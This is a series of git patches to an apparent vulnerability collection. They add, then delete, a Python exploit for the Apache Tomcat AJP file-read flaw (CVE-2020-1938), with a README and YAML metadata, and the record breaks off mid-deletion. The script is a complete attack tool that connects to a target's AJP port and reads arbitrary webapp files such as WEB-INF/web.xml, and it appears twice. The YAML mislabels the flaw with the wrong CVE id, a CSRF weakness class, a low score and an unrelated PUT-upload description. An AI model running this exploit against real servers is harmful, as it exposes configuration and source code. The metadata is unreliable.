From b2bd379f59916b0db39c366dec82710dcc9dc92d Mon Sep 17 00:00:00 2001 From: MaJiahao Date: Mon, 13 Mar 2023 12:20:59 +0000 Subject: [PATCH 01/13] Tomcat CVE Signed-off-by: MaJiahao --- .../2020/CNVD-2020-10487/CNVD-2020-10487.py | 302 ++++++++++++++++++ .../2020/CNVD-2020-10487/README.md | 19 ++ .../2020/yaml/CNVD-2020-10487.yaml | 20 ++ 3 files changed, 341 insertions(+) create mode 100644 cve/apache-tomcat/2020/CNVD-2020-10487/CNVD-2020-10487.py create mode 100644 cve/apache-tomcat/2020/CNVD-2020-10487/README.md create mode 100644 cve/apache-tomcat/2020/yaml/CNVD-2020-10487.yaml diff --git a/cve/apache-tomcat/2020/CNVD-2020-10487/CNVD-2020-10487.py b/cve/apache-tomcat/2020/CNVD-2020-10487/CNVD-2020-10487.py new file mode 100644 index 00000000..630a581b --- /dev/null +++ b/cve/apache-tomcat/2020/CNVD-2020-10487/CNVD-2020-10487.py @@ -0,0 +1,302 @@ +#!/usr/bin/env python +#CNVD-2020-10487 Tomcat-Ajp lfi +#by ydhcui +import struct + +# Some references: +# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html +def pack_string(s): + if s is None: + return struct.pack(">h", -1) + l = len(s) + return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) +def unpack(stream, fmt): + size = struct.calcsize(fmt) + buf = stream.read(size) + return struct.unpack(fmt, buf) +def unpack_string(stream): + size, = unpack(stream, ">h") + if size == -1: # null string + return None + res, = unpack(stream, "%ds" % size) + stream.read(1) # \0 + return res +class NotFoundException(Exception): + pass +class AjpBodyRequest(object): + # server == web server, container == servlet + SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) + MAX_REQUEST_LENGTH = 8186 + def __init__(self, data_stream, data_len, data_direction=None): + self.data_stream = data_stream + self.data_len = data_len + self.data_direction = data_direction + def serialize(self): + data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) + if len(data) == 0: + return struct.pack(">bbH", 0x12, 0x34, 0x00) + else: + res = struct.pack(">H", len(data)) + res += data + if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: + header = struct.pack(">bbH", 0x12, 0x34, len(res)) + else: + header = struct.pack(">bbH", 0x41, 0x42, len(res)) + return header + res + def send_and_receive(self, socket, stream): + while True: + data = self.serialize() + socket.send(data) + r = AjpResponse.receive(stream) + while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: + r = AjpResponse.receive(stream) + + if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: + break +class AjpForwardRequest(object): + _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28) + REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} + # server == web server, container == servlet + SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) + COMMON_HEADERS = ["SC_REQ_ACCEPT", + "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", + "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", + "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" + ] + ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] + def __init__(self, data_direction=None): + self.prefix_code = 0x02 + self.method = None + self.protocol = None + self.req_uri = None + self.remote_addr = None + self.remote_host = None + self.server_name = None + self.server_port = None + self.is_ssl = None + self.num_headers = None + self.request_headers = None + self.attributes = None + self.data_direction = data_direction + def pack_headers(self): + self.num_headers = len(self.request_headers) + res = "" + res = struct.pack(">h", self.num_headers) + for h_name in self.request_headers: + if h_name.startswith("SC_REQ"): + code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 + res += struct.pack("BB", 0xA0, code) + else: + res += pack_string(h_name) + + res += pack_string(self.request_headers[h_name]) + return res + + def pack_attributes(self): + res = b"" + for attr in self.attributes: + a_name = attr['name'] + code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 + res += struct.pack("b", code) + if a_name == "req_attribute": + aa_name, a_value = attr['value'] + res += pack_string(aa_name) + res += pack_string(a_value) + else: + res += pack_string(attr['value']) + res += struct.pack("B", 0xFF) + return res + def serialize(self): + res = "" + res = struct.pack("bb", self.prefix_code, self.method) + res += pack_string(self.protocol) + res += pack_string(self.req_uri) + res += pack_string(self.remote_addr) + res += pack_string(self.remote_host) + res += pack_string(self.server_name) + res += struct.pack(">h", self.server_port) + res += struct.pack("?", self.is_ssl) + res += self.pack_headers() + res += self.pack_attributes() + if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: + header = struct.pack(">bbh", 0x12, 0x34, len(res)) + else: + header = struct.pack(">bbh", 0x41, 0x42, len(res)) + return header + res + def parse(self, raw_packet): + stream = StringIO(raw_packet) + self.magic1, self.magic2, data_len = unpack(stream, "bbH") + self.prefix_code, self.method = unpack(stream, "bb") + self.protocol = unpack_string(stream) + self.req_uri = unpack_string(stream) + self.remote_addr = unpack_string(stream) + self.remote_host = unpack_string(stream) + self.server_name = unpack_string(stream) + self.server_port = unpack(stream, ">h") + self.is_ssl = unpack(stream, "?") + self.num_headers, = unpack(stream, ">H") + self.request_headers = {} + for i in range(self.num_headers): + code, = unpack(stream, ">H") + if code > 0xA000: + h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] + else: + h_name = unpack(stream, "%ds" % code) + stream.read(1) # \0 + h_value = unpack_string(stream) + self.request_headers[h_name] = h_value + def send_and_receive(self, socket, stream, save_cookies=False): + res = [] + i = socket.sendall(self.serialize()) + if self.method == AjpForwardRequest.POST: + return res + + r = AjpResponse.receive(stream) + assert r.prefix_code == AjpResponse.SEND_HEADERS + res.append(r) + if save_cookies and 'Set-Cookie' in r.response_headers: + self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] + + # read body chunks and end response packets + while True: + r = AjpResponse.receive(stream) + res.append(r) + if r.prefix_code == AjpResponse.END_RESPONSE: + break + elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: + continue + else: + raise NotImplementedError + break + + return res + +class AjpResponse(object): + _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) + COMMON_SEND_HEADERS = [ + "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", + "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" + ] + def parse(self, stream): + # read headers + self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") + + if self.prefix_code == AjpResponse.SEND_HEADERS: + self.parse_send_headers(stream) + elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: + self.parse_send_body_chunk(stream) + elif self.prefix_code == AjpResponse.END_RESPONSE: + self.parse_end_response(stream) + elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: + self.parse_get_body_chunk(stream) + else: + raise NotImplementedError + + def parse_send_headers(self, stream): + self.http_status_code, = unpack(stream, ">H") + self.http_status_msg = unpack_string(stream) + self.num_headers, = unpack(stream, ">H") + self.response_headers = {} + for i in range(self.num_headers): + code, = unpack(stream, ">H") + if code <= 0xA000: # custom header + h_name, = unpack(stream, "%ds" % code) + stream.read(1) # \0 + h_value = unpack_string(stream) + else: + h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001] + h_value = unpack_string(stream) + self.response_headers[h_name] = h_value + + def parse_send_body_chunk(self, stream): + self.data_length, = unpack(stream, ">H") + self.data = stream.read(self.data_length+1) + + def parse_end_response(self, stream): + self.reuse, = unpack(stream, "b") + + def parse_get_body_chunk(self, stream): + rlen, = unpack(stream, ">H") + return rlen + + @staticmethod + def receive(stream): + r = AjpResponse() + r.parse(stream) + return r + +import socket + +def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): + fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) + fr.method = method + fr.protocol = "HTTP/1.1" + fr.req_uri = req_uri + fr.remote_addr = target_host + fr.remote_host = None + fr.server_name = target_host + fr.server_port = 80 + fr.request_headers = { + 'SC_REQ_ACCEPT': 'text/html', + 'SC_REQ_CONNECTION': 'keep-alive', + 'SC_REQ_CONTENT_LENGTH': '0', + 'SC_REQ_HOST': target_host, + 'SC_REQ_USER_AGENT': 'Mozilla', + 'Accept-Encoding': 'gzip, deflate, sdch', + 'Accept-Language': 'en-US,en;q=0.5', + 'Upgrade-Insecure-Requests': '1', + 'Cache-Control': 'max-age=0' + } + fr.is_ssl = False + fr.attributes = [] + return fr + +class Tomcat(object): + def __init__(self, target_host, target_port): + self.target_host = target_host + self.target_port = target_port + + self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.socket.connect((target_host, target_port)) + self.stream = self.socket.makefile("rb", bufsize=0) + + def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): + self.req_uri = req_uri + self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) + print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) + if user is not None and password is not None: + self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '') + for h in headers: + self.forward_request.request_headers[h] = headers[h] + for a in attributes: + self.forward_request.attributes.append(a) + responses = self.forward_request.send_and_receive(self.socket, self.stream) + if len(responses) == 0: + return None, None + snd_hdrs_res = responses[0] + data_res = responses[1:-1] + if len(data_res) == 0: + print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) + return snd_hdrs_res, data_res + +''' +javax.servlet.include.request_uri +javax.servlet.include.path_info +javax.servlet.include.servlet_path +''' + +import argparse +parser = argparse.ArgumentParser() +parser.add_argument("target", type=str, help="Hostname or IP to attack") +parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") +parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") +args = parser.parse_args() +t = Tomcat(args.target, args.port) +_,data = t.perform_request('/asdf',attributes=[ + {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']}, + {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]}, + {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']}, + ]) +print('----------------------------') +print("".join([d.data for d in data])) diff --git a/cve/apache-tomcat/2020/CNVD-2020-10487/README.md b/cve/apache-tomcat/2020/CNVD-2020-10487/README.md new file mode 100644 index 00000000..6e069877 --- /dev/null +++ b/cve/apache-tomcat/2020/CNVD-2020-10487/README.md @@ -0,0 +1,19 @@ +# CNVD-2020-10487-Tomcat-Ajp-lfi +Apache Tomcat-Ajp协议文件读取 漏洞 (CNVD-2020-10487/CVE-2020-1938) + +# Tomcat +#Use +Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器。 +CNVD-2020-10487/CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。 + + + +# eg + +python3 CNVD-2020-10487.py + +# reference +code from: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi + + + diff --git a/cve/apache-tomcat/2020/yaml/CNVD-2020-10487.yaml b/cve/apache-tomcat/2020/yaml/CNVD-2020-10487.yaml new file mode 100644 index 00000000..cb4800d0 --- /dev/null +++ b/cve/apache-tomcat/2020/yaml/CNVD-2020-10487.yaml @@ -0,0 +1,20 @@ +id: CVE-2020-10487 +source: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi +info: + name: Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。CNVD-2020-10487/CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等, + severity: high + description: + 在Tomcat 配置文件设置了 PUT 上传方法,在 web.xml 文件,可以发现,默认 readonly 为 true ,当 readonly设置为 false 时,可以通过 PUT / DELETE 进行文件操控。 + scope-of-influence: + Apache Tomcat < 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54, 7.0.0 to 7.0.103 + reference: + - https://seclists.org/oss-sec/2020/q2/136 + - https://nvd.nist.gov/vuln/detail/CVE-2020-10487 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N + cvss-score: 4.3 + cve-id: CVE-2020-10487 + cwe-id: CWE-352 + cnvd-id: None + kve-id: None + tags: cve2020, Apache, Tomcat, Ajp -- Gitee From f45f43f6cf6122a163f8843796e0d1ef6856811b Mon Sep 17 00:00:00 2001 From: MaJiahao Date: Mon, 13 Mar 2023 12:21:54 +0000 Subject: [PATCH 02/13] update cve/apache-tomcat/2020/yaml/CNVD-2020-10487.yaml. Signed-off-by: MaJiahao --- cve/apache-tomcat/2020/yaml/CNVD-2020-10487.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cve/apache-tomcat/2020/yaml/CNVD-2020-10487.yaml b/cve/apache-tomcat/2020/yaml/CNVD-2020-10487.yaml index cb4800d0..f79bf14b 100644 --- a/cve/apache-tomcat/2020/yaml/CNVD-2020-10487.yaml +++ b/cve/apache-tomcat/2020/yaml/CNVD-2020-10487.yaml @@ -1,7 +1,7 @@ id: CVE-2020-10487 source: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi info: - name: Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。CNVD-2020-10487/CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等, + name: Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。CNVD-2020-10487/CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。 severity: high description: 在Tomcat 配置文件设置了 PUT 上传方法,在 web.xml 文件,可以发现,默认 readonly 为 true ,当 readonly设置为 false 时,可以通过 PUT / DELETE 进行文件操控。 -- Gitee From 66b01019e1cd52d0649c62f0bde3deda08daae16 Mon Sep 17 00:00:00 2001 From: MaJiahao Date: Mon, 13 Mar 2023 12:22:32 +0000 Subject: [PATCH 03/13] update openkylin_list.yaml. Signed-off-by: MaJiahao --- openkylin_list.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 92801831..9d192e65 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -11,6 +11,7 @@ cve: apache-tomcat: - CVE-2022-29885 - CVE-2020-9484 + - CVE-2020-10487 apache-Spark: - CVE-2022-33891 linux-kernel: -- Gitee From 51d9a0fee602da5096a2ae0ca389a6b6e3024b2e Mon Sep 17 00:00:00 2001 From: MaJiahao Date: Mon, 13 Mar 2023 12:44:15 +0000 Subject: [PATCH 04/13] =?UTF-8?q?=E5=88=A0=E9=99=A4=E6=96=87=E4=BB=B6=20cv?= =?UTF-8?q?e/apache-tomcat/2020/CNVD-2020-10487?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../2020/CNVD-2020-10487/CNVD-2020-10487.py | 302 ------------------ .../2020/CNVD-2020-10487/README.md | 19 -- 2 files changed, 321 deletions(-) delete mode 100644 cve/apache-tomcat/2020/CNVD-2020-10487/CNVD-2020-10487.py delete mode 100644 cve/apache-tomcat/2020/CNVD-2020-10487/README.md diff --git a/cve/apache-tomcat/2020/CNVD-2020-10487/CNVD-2020-10487.py b/cve/apache-tomcat/2020/CNVD-2020-10487/CNVD-2020-10487.py deleted file mode 100644 index 630a581b..00000000 --- a/cve/apache-tomcat/2020/CNVD-2020-10487/CNVD-2020-10487.py +++ /dev/null @@ -1,302 +0,0 @@ -#!/usr/bin/env python -#CNVD-2020-10487 Tomcat-Ajp lfi -#by ydhcui -import struct - -# Some references: -# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html -def pack_string(s): - if s is None: - return struct.pack(">h", -1) - l = len(s) - return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) -def unpack(stream, fmt): - size = struct.calcsize(fmt) - buf = stream.read(size) - return struct.unpack(fmt, buf) -def unpack_string(stream): - size, = unpack(stream, ">h") - if size == -1: # null string - return None - res, = unpack(stream, "%ds" % size) - stream.read(1) # \0 - return res -class NotFoundException(Exception): - pass -class AjpBodyRequest(object): - # server == web server, container == servlet - SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) - MAX_REQUEST_LENGTH = 8186 - def __init__(self, data_stream, data_len, data_direction=None): - self.data_stream = data_stream - self.data_len = data_len - self.data_direction = data_direction - def serialize(self): - data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) - if len(data) == 0: - return struct.pack(">bbH", 0x12, 0x34, 0x00) - else: - res = struct.pack(">H", len(data)) - res += data - if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: - header = struct.pack(">bbH", 0x12, 0x34, len(res)) - else: - header = struct.pack(">bbH", 0x41, 0x42, len(res)) - return header + res - def send_and_receive(self, socket, stream): - while True: - data = self.serialize() - socket.send(data) - r = AjpResponse.receive(stream) - while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: - r = AjpResponse.receive(stream) - - if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: - break -class AjpForwardRequest(object): - _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28) - REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} - # server == web server, container == servlet - SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) - COMMON_HEADERS = ["SC_REQ_ACCEPT", - "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", - "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", - "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" - ] - ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] - def __init__(self, data_direction=None): - self.prefix_code = 0x02 - self.method = None - self.protocol = None - self.req_uri = None - self.remote_addr = None - self.remote_host = None - self.server_name = None - self.server_port = None - self.is_ssl = None - self.num_headers = None - self.request_headers = None - self.attributes = None - self.data_direction = data_direction - def pack_headers(self): - self.num_headers = len(self.request_headers) - res = "" - res = struct.pack(">h", self.num_headers) - for h_name in self.request_headers: - if h_name.startswith("SC_REQ"): - code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 - res += struct.pack("BB", 0xA0, code) - else: - res += pack_string(h_name) - - res += pack_string(self.request_headers[h_name]) - return res - - def pack_attributes(self): - res = b"" - for attr in self.attributes: - a_name = attr['name'] - code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 - res += struct.pack("b", code) - if a_name == "req_attribute": - aa_name, a_value = attr['value'] - res += pack_string(aa_name) - res += pack_string(a_value) - else: - res += pack_string(attr['value']) - res += struct.pack("B", 0xFF) - return res - def serialize(self): - res = "" - res = struct.pack("bb", self.prefix_code, self.method) - res += pack_string(self.protocol) - res += pack_string(self.req_uri) - res += pack_string(self.remote_addr) - res += pack_string(self.remote_host) - res += pack_string(self.server_name) - res += struct.pack(">h", self.server_port) - res += struct.pack("?", self.is_ssl) - res += self.pack_headers() - res += self.pack_attributes() - if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: - header = struct.pack(">bbh", 0x12, 0x34, len(res)) - else: - header = struct.pack(">bbh", 0x41, 0x42, len(res)) - return header + res - def parse(self, raw_packet): - stream = StringIO(raw_packet) - self.magic1, self.magic2, data_len = unpack(stream, "bbH") - self.prefix_code, self.method = unpack(stream, "bb") - self.protocol = unpack_string(stream) - self.req_uri = unpack_string(stream) - self.remote_addr = unpack_string(stream) - self.remote_host = unpack_string(stream) - self.server_name = unpack_string(stream) - self.server_port = unpack(stream, ">h") - self.is_ssl = unpack(stream, "?") - self.num_headers, = unpack(stream, ">H") - self.request_headers = {} - for i in range(self.num_headers): - code, = unpack(stream, ">H") - if code > 0xA000: - h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] - else: - h_name = unpack(stream, "%ds" % code) - stream.read(1) # \0 - h_value = unpack_string(stream) - self.request_headers[h_name] = h_value - def send_and_receive(self, socket, stream, save_cookies=False): - res = [] - i = socket.sendall(self.serialize()) - if self.method == AjpForwardRequest.POST: - return res - - r = AjpResponse.receive(stream) - assert r.prefix_code == AjpResponse.SEND_HEADERS - res.append(r) - if save_cookies and 'Set-Cookie' in r.response_headers: - self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] - - # read body chunks and end response packets - while True: - r = AjpResponse.receive(stream) - res.append(r) - if r.prefix_code == AjpResponse.END_RESPONSE: - break - elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: - continue - else: - raise NotImplementedError - break - - return res - -class AjpResponse(object): - _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) - COMMON_SEND_HEADERS = [ - "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", - "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" - ] - def parse(self, stream): - # read headers - self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") - - if self.prefix_code == AjpResponse.SEND_HEADERS: - self.parse_send_headers(stream) - elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: - self.parse_send_body_chunk(stream) - elif self.prefix_code == AjpResponse.END_RESPONSE: - self.parse_end_response(stream) - elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: - self.parse_get_body_chunk(stream) - else: - raise NotImplementedError - - def parse_send_headers(self, stream): - self.http_status_code, = unpack(stream, ">H") - self.http_status_msg = unpack_string(stream) - self.num_headers, = unpack(stream, ">H") - self.response_headers = {} - for i in range(self.num_headers): - code, = unpack(stream, ">H") - if code <= 0xA000: # custom header - h_name, = unpack(stream, "%ds" % code) - stream.read(1) # \0 - h_value = unpack_string(stream) - else: - h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001] - h_value = unpack_string(stream) - self.response_headers[h_name] = h_value - - def parse_send_body_chunk(self, stream): - self.data_length, = unpack(stream, ">H") - self.data = stream.read(self.data_length+1) - - def parse_end_response(self, stream): - self.reuse, = unpack(stream, "b") - - def parse_get_body_chunk(self, stream): - rlen, = unpack(stream, ">H") - return rlen - - @staticmethod - def receive(stream): - r = AjpResponse() - r.parse(stream) - return r - -import socket - -def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): - fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) - fr.method = method - fr.protocol = "HTTP/1.1" - fr.req_uri = req_uri - fr.remote_addr = target_host - fr.remote_host = None - fr.server_name = target_host - fr.server_port = 80 - fr.request_headers = { - 'SC_REQ_ACCEPT': 'text/html', - 'SC_REQ_CONNECTION': 'keep-alive', - 'SC_REQ_CONTENT_LENGTH': '0', - 'SC_REQ_HOST': target_host, - 'SC_REQ_USER_AGENT': 'Mozilla', - 'Accept-Encoding': 'gzip, deflate, sdch', - 'Accept-Language': 'en-US,en;q=0.5', - 'Upgrade-Insecure-Requests': '1', - 'Cache-Control': 'max-age=0' - } - fr.is_ssl = False - fr.attributes = [] - return fr - -class Tomcat(object): - def __init__(self, target_host, target_port): - self.target_host = target_host - self.target_port = target_port - - self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - self.socket.connect((target_host, target_port)) - self.stream = self.socket.makefile("rb", bufsize=0) - - def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): - self.req_uri = req_uri - self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) - print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) - if user is not None and password is not None: - self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '') - for h in headers: - self.forward_request.request_headers[h] = headers[h] - for a in attributes: - self.forward_request.attributes.append(a) - responses = self.forward_request.send_and_receive(self.socket, self.stream) - if len(responses) == 0: - return None, None - snd_hdrs_res = responses[0] - data_res = responses[1:-1] - if len(data_res) == 0: - print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) - return snd_hdrs_res, data_res - -''' -javax.servlet.include.request_uri -javax.servlet.include.path_info -javax.servlet.include.servlet_path -''' - -import argparse -parser = argparse.ArgumentParser() -parser.add_argument("target", type=str, help="Hostname or IP to attack") -parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") -parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") -args = parser.parse_args() -t = Tomcat(args.target, args.port) -_,data = t.perform_request('/asdf',attributes=[ - {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']}, - {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]}, - {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']}, - ]) -print('----------------------------') -print("".join([d.data for d in data])) diff --git a/cve/apache-tomcat/2020/CNVD-2020-10487/README.md b/cve/apache-tomcat/2020/CNVD-2020-10487/README.md deleted file mode 100644 index 6e069877..00000000 --- a/cve/apache-tomcat/2020/CNVD-2020-10487/README.md +++ /dev/null @@ -1,19 +0,0 @@ -# CNVD-2020-10487-Tomcat-Ajp-lfi -Apache Tomcat-Ajp协议文件读取 漏洞 (CNVD-2020-10487/CVE-2020-1938) - -# Tomcat -#Use -Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器。 -CNVD-2020-10487/CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。 - - - -# eg - -python3 CNVD-2020-10487.py - -# reference -code from: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi - - - -- Gitee From 18b54dd686a4a7a6c16cb38839fd80855e2c64f0 Mon Sep 17 00:00:00 2001 From: MaJiahao Date: Mon, 13 Mar 2023 12:44:21 +0000 Subject: [PATCH 05/13] =?UTF-8?q?=E5=88=A0=E9=99=A4=E6=96=87=E4=BB=B6=20cv?= =?UTF-8?q?e/apache-tomcat/2020/yaml/CNVD-2020-10487.yaml?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../2020/yaml/CNVD-2020-10487.yaml | 20 ------------------- 1 file changed, 20 deletions(-) delete mode 100644 cve/apache-tomcat/2020/yaml/CNVD-2020-10487.yaml diff --git a/cve/apache-tomcat/2020/yaml/CNVD-2020-10487.yaml b/cve/apache-tomcat/2020/yaml/CNVD-2020-10487.yaml deleted file mode 100644 index f79bf14b..00000000 --- a/cve/apache-tomcat/2020/yaml/CNVD-2020-10487.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: CVE-2020-10487 -source: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi -info: - name: Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。CNVD-2020-10487/CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。 - severity: high - description: - 在Tomcat 配置文件设置了 PUT 上传方法,在 web.xml 文件,可以发现,默认 readonly 为 true ,当 readonly设置为 false 时,可以通过 PUT / DELETE 进行文件操控。 - scope-of-influence: - Apache Tomcat < 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54, 7.0.0 to 7.0.103 - reference: - - https://seclists.org/oss-sec/2020/q2/136 - - https://nvd.nist.gov/vuln/detail/CVE-2020-10487 - classification: - cvss-metrics: 